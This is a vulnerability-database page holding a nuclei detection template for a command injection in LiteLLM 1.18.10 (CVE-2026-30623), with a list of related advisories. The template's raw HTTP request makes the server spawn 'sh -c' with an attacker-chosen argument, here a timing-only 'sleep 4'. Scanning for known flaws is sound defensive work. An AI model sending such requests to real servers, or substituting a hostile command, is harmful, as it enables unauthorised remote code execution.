Lucene search
+L

LiteLLM 1.18.10 - Command Injection

🗓️ 04 Aug 2026 03:00:06Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 5 Views

LiteLLM 1.18.10 enables remote code execution via MCP server creation due to missing command validation; update.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-30623
15 Jul 202600:00
attackerkb
circl
Circl
CVE-2026-30623
16 Jul 202614:38
circl
cve
CVE
CVE-2026-30623
15 Jul 202600:00
cve
cvelist
Cvelist
CVE-2026-30623
15 Jul 202600:00
cvelist
githubexploit
GithubExploit
Exploit for CVE-2026-30623
21 Jul 202610:57
githubexploit
euvd
EUVD
EUVD-2026-44846
16 Jul 202600:31
euvd
nvd
NVD
CVE-2026-30623
15 Jul 202622:16
nvd
ptsecurity
Positive Technologies
PT-2026-34552
22 Apr 202600:00
ptsecurity
ptsecurity
Positive Technologies
PT-2026-46955
5 Jun 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2026-30623
16 Jul 202613:11
redhatcve
Rows per page
id: CVE-2026-30623

info:
  name: LiteLLM 1.18.10 - Command Injection
  author: leeseungsu
  severity: high
  description: |
    LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.
  impact: |
    Attackers can execute arbitrary OS commands remotely with LiteLLM process privileges, potentially compromising the host system.
  remediation: |
    Update to the latest version of LiteLLM with validation for MCP server commands.
  reference:
    - https://docs.litellm.ai/blog/mcp-stdio-command-injection-april-2026
    - https://cveawg.mitre.org/api/cve/CVE-2026-30623
    - https://github.com/BerriAI/litellm
  classification:
    cve-id: CVE-2026-30623
    epss-score: 0.05952
    epss-percentile: 0.92539
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,litellm,rce,authenticated,mcp

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {
          "server_id": "nuclei-{{marker}}",
          "server_name": "nuclei-{{marker}}",
          "transport": "stdio",
          "command": "sh",
          "args": ["-c", "sleep 4"]
        }

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "Failed to connect to MCP server"

      - type: word
        part: body
        negative: true
        words:
          - "not in the allowed commands list"
          - "Allowed commands"

      - type: dsl
        dsl:
          - "duration >= 4"
# digest: 4a0a0047304502204305ab56cbf36b36c8e5086342fbfa9f0f3f66dcdc304b9aed4f76d613605a80022100a5c09b4377b8bc78c8da534eb741c54e5bd68eeeb770dd3029a1caa5639817e6:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jul 2026 06:56Current
6.9Medium risk
Vulners AI Score6.9
CVSS 3.19.8
EPSS0.05952
SSVC
5